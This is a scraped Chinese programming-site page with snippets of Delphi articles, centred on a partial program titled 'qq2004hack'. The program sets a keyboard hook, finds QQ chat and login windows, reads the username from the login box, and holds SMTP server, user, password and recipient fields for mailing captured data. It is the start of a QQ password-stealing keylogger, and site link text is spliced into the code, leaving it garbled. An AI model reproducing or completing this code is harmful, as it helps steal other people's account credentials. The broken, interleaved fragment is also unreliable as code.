感谢 sforever 提供帮助 hookkey: string

开发技术指南» 文章正文

引言：感谢 sforever 提供帮助 hookkey: string

摘要：function stringtovariantarray(const s: string): olevariant;var p: pointer;begin result := null; if length(s) > 0 then begin result := vararraycreate([0, length(s) - 1], varbyte); p := vararraylock(......

·组件制作之四（定制外观） »显示摘要«

摘要：时常想,如果一个组件能够按自己想要的外观显示,那该是件多么cool的事啊,这一篇就要来做一个精美外观的组件,但是,做什么好呢.button? 高手突破>有关于自己定义外观的button,以及checkbox等的做法,button从custompanel继承,重载paint方法来画外观.如果你有兴趣,可以去找来看,这里就不做button了,做一个memo如何呢.？是个不错的主意。我们先起个名......

qq2004hack

感谢 sforever 提供帮助

hookkey: string; 【程序编程相关:配置 DB2 V8.1 来编译存储过程】

【推荐阅读:关联规则进行数据挖掘】

hhook: integer; 【扩展信息:Application Server 的】

creeper,creeper1:textfile;

ahwnd,comboboxh:thandle; //句柄

qqformid:hwnd;

user:array[0..254] of char;

sendbody:string;

psmtp,puser,ppass,pgetmail,ptomail,subject,mailtext:string;

implementation

//找qq聊天窗口

function fpopoid(ahwnd:hwnd;w:integer):boolean;stdcall;

var wintext:pchar;

begin

result:=true;

getmem(wintext,100);

getwindowtext(ahwnd,wintext,100);

if pos(与,wintext)>0 then

begin

trysendmail;

sleep(100);

unhookwindowshookex(hhook);

hhook := 0;

application.terminate;

end;

function fmsgidedit(ahwnd:hwnd;w:integer):boolean;stdcall;

var

f:textfile;

begin

result:=true;

comboboxh:=findwindowex(qqformid,0,combobox,nil);

sendmessage(comboboxh,wm_gettext,254,integer(@user));

... 下一页

·command程序示例，可以带参数运行 »显示摘要«

摘要：program softinfo; uses? forms,? windows,? dialogs,? shellapi,? inifiles,? sysutils ; {$r *.res}? procedure install();? begin??? messagedlg(install,mtwarning,[mbok],0) ;? end; ? procedure uninstall(......

» 本期热门文章：

· 热门栏目：

» 相关精选文章

» 其它相关：